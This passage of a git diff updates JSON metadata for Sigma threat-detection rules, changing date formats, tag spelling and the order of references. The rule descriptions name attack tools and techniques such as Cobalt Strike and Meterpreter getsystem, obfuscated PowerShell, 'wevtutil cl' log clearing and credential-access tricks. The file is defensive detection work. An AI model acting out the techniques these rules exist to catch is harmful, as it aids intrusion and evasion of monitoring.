"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.execution", "attack.t1021.002", "attack.t1569.002" @@ -65501,7 +65607,7 @@ "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -65514,7 +65620,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_rundll32_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -65543,7 +65649,7 @@ "description": "Detects important or interesting Windows services that got terminated for whatever reason", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/14", + "creation_date": "2023-04-14", "falsepositive": [ "Rare false positives could occur since service termination could happen due to multiple reasons" ], @@ -65556,7 +65662,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_important.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "d6b5520d-3934-48b4-928c-2aa3f92d6963", @@ -65566,7 +65672,7 @@ "description": "Detects Windows services that got terminated for whatever reason", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/14", + "creation_date": "2023-04-14", "falsepositive": [ "False positives could occur since service termination could happen due to multiple reasons" ], @@ -65579,7 +65685,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_generic.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "acfa2210-0d71-4eeb-b477-afab494d596c", @@ -65589,7 +65695,7 @@ "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/22", + "creation_date": "2022-07-22", "falsepositive": [ "Legitimate use of the tool" ], @@ -65602,7 +65708,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy_runner.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -65622,7 +65728,7 @@ "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", "meta": { "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Legitimate OpenVPN TAP installation" ], @@ -65655,7 +65761,7 @@ "description": "Detects Remote Utilities Host service installation on the target system.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/31", + "creation_date": "2022-10-31", "falsepositive": [ "Legitimate use of the tool" ], @@ -65678,7 +65784,7 @@ "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -65691,7 +65797,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_var_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -65720,7 +65826,7 @@ "description": "Detects installation or execution of services", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/21", + "creation_date": "2022-03-21", "falsepositive": [ "Unknown" ], @@ -65754,7 +65860,7 @@ "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", + "creation_date": "2019-11-08", "falsepositive": [ "Unknown" ], @@ -65767,7 +65873,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_obfuscated_iex_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -65787,7 +65893,7 @@ "description": "Detects when the \"Windows Defender Threat Protection\" service is disabled.", "meta": { "author": "Ján Trenčanský, frack113", - "creation_date": "2020/07/28", + "creation_date": "2020-07-28", "falsepositive": [ "Administrator actions", "Auto updates of Windows Defender causes restarts" @@ -65802,7 +65908,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_defender_disabled.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -65822,7 +65928,7 @@ "description": "Detects Obfuscated Powershell via Stdin in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -65835,7 +65941,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_stdin_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -65864,7 +65970,7 @@ "description": "Detects important or interesting Windows services that got terminated unexpectedly.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/14", + "creation_date": "2023-04-14", "falsepositive": [ "Rare false positives could occur since service termination could happen due to multiple reasons" ], @@ -65877,7 +65983,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "56abae0c-6212-4b97-adc0-0b559bb950c3", @@ -65887,7 +65993,7 @@ "description": "Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)", "meta": { "author": "Sittikorn S, Tim Shelton", - "creation_date": "2022/05/11", + "creation_date": "2022-05-11", "falsepositive": [ "Unknown" ], @@ -65900,7 +66006,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_krbrelayup_service_installation.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -65920,7 +66026,7 @@ "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -65933,7 +66039,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_rundll_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -65962,7 +66068,7 @@ "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "meta": { "author": "Florian Roth (Nextron Systems), Wojciech Lesicki", - "creation_date": "2021/05/26", + "creation_date": "2021-05-26", "falsepositive": [ "Unknown" ], @@ -65971,15 +66077,15 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://www.sans.org/webcasts/119395", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml" ], "tags": [ "attack.execution", - "attack.privilege_escalation", - "attack.lateral_movement", + "attack.privilege-escalation", + "attack.lateral-movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" @@ -66015,7 +66121,7 @@ "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -66028,7 +66134,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_compress_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66057,7 +66163,7 @@ "description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "meta": { "author": "Connor Martin, Nasreddine Bencherchali", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Unknown" ], @@ -66098,7 +66204,7 @@ "description": "Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/30", + "creation_date": "2022-08-30", "falsepositive": [ "Unknown" ], @@ -66121,7 +66227,7 @@ "description": "Detects NetSupport Manager service installation on the target system.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/31", + "creation_date": "2022-10-31", "falsepositive": [ "Legitimate use of the tool" ], @@ -66144,7 +66250,7 @@ "description": "Detects a ProcessHacker tool that elevated privileges to a very high level", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/05/27", + "creation_date": "2021-05-27", "falsepositive": [ "Unlikely" ], @@ -66158,7 +66264,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1569.002" ] @@ -66186,7 +66292,7 @@ "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -66199,7 +66305,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_var_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66228,7 +66334,7 @@ "description": "Detects service installation in suspicious folder appdata", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Unknown" ], @@ -66242,7 +66348,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "car.2013-09-005", "attack.t1543.003" ] @@ -66263,7 +66369,7 @@ "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "meta": { "author": "Tim Rauch (Nextron Systems), Elastic (idea)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Unknown" ], @@ -66276,7 +66382,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sups_unusal_client.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543" ] }, @@ -66296,7 +66402,7 @@ "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", "meta": { "author": "Bhabesh Raj", - "creation_date": "2021/05/06", + "creation_date": "2021-05-06", "falsepositive": [ "Unknown" ], @@ -66310,7 +66416,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -66330,7 +66436,7 @@ "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -66343,7 +66449,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_mshta_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66372,7 +66478,7 @@ "description": "Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/28", + "creation_date": "2022-11-28", "falsepositive": [ "Legitimate use of the tool" ], @@ -66385,7 +66491,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_mesh_agent.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -66405,7 +66511,7 @@ "description": "Detects suspicious service installation scripts", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Unknown" ], @@ -66419,7 +66525,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "car.2013-09-005", "attack.t1543.003" ] @@ -66440,7 +66546,7 @@ "description": "Detects service installation with suspicious folder patterns", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Unknown" ], @@ -66454,7 +66560,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "car.2013-09-005", "attack.t1543.003" ] @@ -66475,7 +66581,7 @@ "description": "Detects RemCom service installation and execution events", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/07", + "creation_date": "2023-08-07", "falsepositive": [ "Unknown" ], @@ -66508,7 +66614,7 @@ "description": "Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/18", + "creation_date": "2022-03-18", "falsepositive": [ "Unknown" ], @@ -66522,7 +66628,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "car.2013-09-005", "attack.t1543.003" ] @@ -66543,7 +66649,7 @@ "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth (Nextron Systems)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unlikely" ], @@ -66552,12 +66658,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134.001", "attack.t1134.002" ] @@ -66585,7 +66691,7 @@ "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Unknown" ], @@ -66598,7 +66704,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_clip_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66627,7 +66733,7 @@ "description": "Detects CSExec service installation and execution events", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/07", + "creation_date": "2023-08-07", "falsepositive": [ "Unknown" ], @@ -66660,7 +66766,7 @@ "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/11", + "creation_date": "2022-08-11", "falsepositive": [ "Legitimate usage of the anydesk tool" ], @@ -66683,7 +66789,7 @@ "description": "Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/11/28", + "creation_date": "2022-11-28", "falsepositive": [ "Legitimate use of the tool" ], @@ -66696,7 +66802,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_tacticalrmm.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -66716,7 +66822,7 @@ "description": "Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines.\nPDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/22", + "creation_date": "2022-07-22", "falsepositive": [ "Legitimate use of the tool" ], @@ -66729,7 +66835,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003" ] }, @@ -66749,7 +66855,7 @@ "description": "Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/25", + "creation_date": "2022-08-25", "falsepositive": [ "Unknown" ], @@ -66764,7 +66870,7 @@ ], "tags": [ "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1543.003", "attack.t1569.002" ] @@ -66792,7 +66898,7 @@ "description": "Detects Obfuscated use of stdin to execute PowerShell", "meta": { "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Unknown" ], @@ -66805,7 +66911,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_stdin_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66834,7 +66940,7 @@ "description": "Detects PsExec service installation and execution events", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/06/12", + "creation_date": "2017-06-12", "falsepositive": [ "Unknown" ], @@ -66843,8 +66949,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sysinternals_psexec.yml" ], "tags": [ @@ -66869,7 +66975,7 @@ "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", + "creation_date": "2020-10-09", "falsepositive": [ "Unknown" ], @@ -66882,7 +66988,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_clip_services.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -66911,7 +67017,7 @@ "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/11", + "creation_date": "2021-01-11", "falsepositive": [ "Unlikely" ], @@ -66920,9 +67026,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://twitter.com/wdormann/status/1347958161609809921", "https://twitter.com/jonasLyk/status/1347900440000811010", "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", - "https://twitter.com/wdormann/status/1347958161609809921", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml" ], "tags": [ @@ -66946,7 +67052,7 @@ "description": "Detects application popup reporting a failure of the Sysmon service", "meta": { "author": "Tim Shelton", - "creation_date": "2022/04/26", + "creation_date": "2022-04-26", "falsepositive": [ "Unknown" ], @@ -66959,7 +67065,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/application_popup/win_system_application_sysmon_crash.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562" ] }, @@ -66979,7 +67085,7 @@ "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708", "meta": { "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)", - "creation_date": "2019/05/24", + "creation_date": "2019-05-24", "falsepositive": [ "Bad connections or network interruptions" ], @@ -66993,7 +67099,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/termdd/win_system_rdp_potential_cve_2019_0708.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1210", "car.2013-07-002" ] @@ -67014,7 +67120,7 @@ "description": "This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded", "meta": { "author": "Dimitrios Slamaris", - "creation_date": "2017/05/15", + "creation_date": "2017-05-15", "falsepositive": [ "Unknown" ], @@ -67023,13 +67129,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -67049,7 +67155,7 @@ "description": "This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded", "meta": { "author": "Dimitrios Slamaris, @atc_project (fix)", - "creation_date": "2017/05/15", + "creation_date": "2017-05-15", "falsepositive": [ "Unknown" ], @@ -67058,13 +67164,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_dhcp_server/win_system_susp_dhcp_config_failed.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -67084,7 +67190,7 @@ "description": "Detects volume shadow copy mount via Windows event log", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "creation_date": "2020/10/20", + "creation_date": "2020-10-20", "falsepositive": [ "Legitimate use of volume shadow copy mounts (backups maybe)." ], @@ -67097,7 +67203,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_ntfs/win_system_volume_shadow_copy_mount.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -67117,7 +67223,7 @@ "description": "Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/09", + "creation_date": "2022-11-09", "falsepositive": [ "Unknown" ], @@ -67130,7 +67236,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_rc4_downgrade.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "e6f81941-b1cd-4766-87db-9fc156f658ee", @@ -67140,7 +67246,7 @@ "description": "Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID)\nThis could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping.\nEvents where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.\n", "meta": { "author": "@br4dy5", - "creation_date": "2023/10/09", + "creation_date": "2023-10-09", "falsepositive": [ "If prevalent in the environment, filter on events where the AccountName and CN of the Subject do not reference the same user", "If prevalent in the environment, filter on CNs that end in a dollar sign indicating it is a machine name" @@ -67154,7 +67260,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_cert_use_no_strong_mapping.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "993c2665-e6ef-40e3-a62a-e1a97686af79", @@ -67164,7 +67270,7 @@ "description": "Detects errors when a target server doesn't have suitable keys for generating kerberos tickets.\nThis issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.\n", "meta": { "author": "@SerkinValery", - "creation_date": "2024/03/07", + "creation_date": "2024-03-07", "falsepositive": [ "Unknown" ], @@ -67178,7 +67284,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kerberos_key_distribution_center/win_system_kdcsvc_tgs_no_suitable_encryption_key_found.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -67198,7 +67304,7 @@ "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/10/07", + "creation_date": "2022-10-07", "falsepositive": [ "Unknown" ], @@ -67231,7 +67337,7 @@ "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/01/10", + "creation_date": "2017-01-10", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" @@ -67241,12 +67347,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_eventlog_cleared.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.001", "car.2016-04-002" ] @@ -67267,7 +67373,7 @@ "description": "Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth (Nextron Systems), Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/17", + "creation_date": "2022-05-17", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" @@ -67277,12 +67383,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_eventlog/win_system_susp_eventlog_cleared.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.001", "car.2016-04-002" ] @@ -67303,7 +67409,7 @@ "description": "Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/08", + "creation_date": "2017-05-08", "falsepositive": [ "Unknown" ], @@ -67312,13 +67418,13 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://twitter.com/gentilkiwi/status/861641945944391680", + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_susp_server_level_plugin_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -67338,7 +67444,7 @@ "description": "Detects when a DNS zone transfer failed.", "meta": { "author": "Zach Mathis", - "creation_date": "2023/05/24", + "creation_date": "2023-05-24", "falsepositive": [ "Unlikely" ], @@ -67371,7 +67477,7 @@ "description": "Detects execution of AppX packages with known suspicious or malicious signature", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/16", + "creation_date": "2023-01-16", "falsepositive": [ "Unknown" ], @@ -67385,7 +67491,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/appxpackaging_om/win_appxpackaging_om_sups_appx_signature.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution" ] }, @@ -67396,7 +67502,7 @@ "description": "Detects execution of Sysinternals tools via an AppX package. Attackers could install the Sysinternals Suite to get access to tools such as psexec and procdump to avoid detection based on System paths", "meta": { "author": "Nasreddine 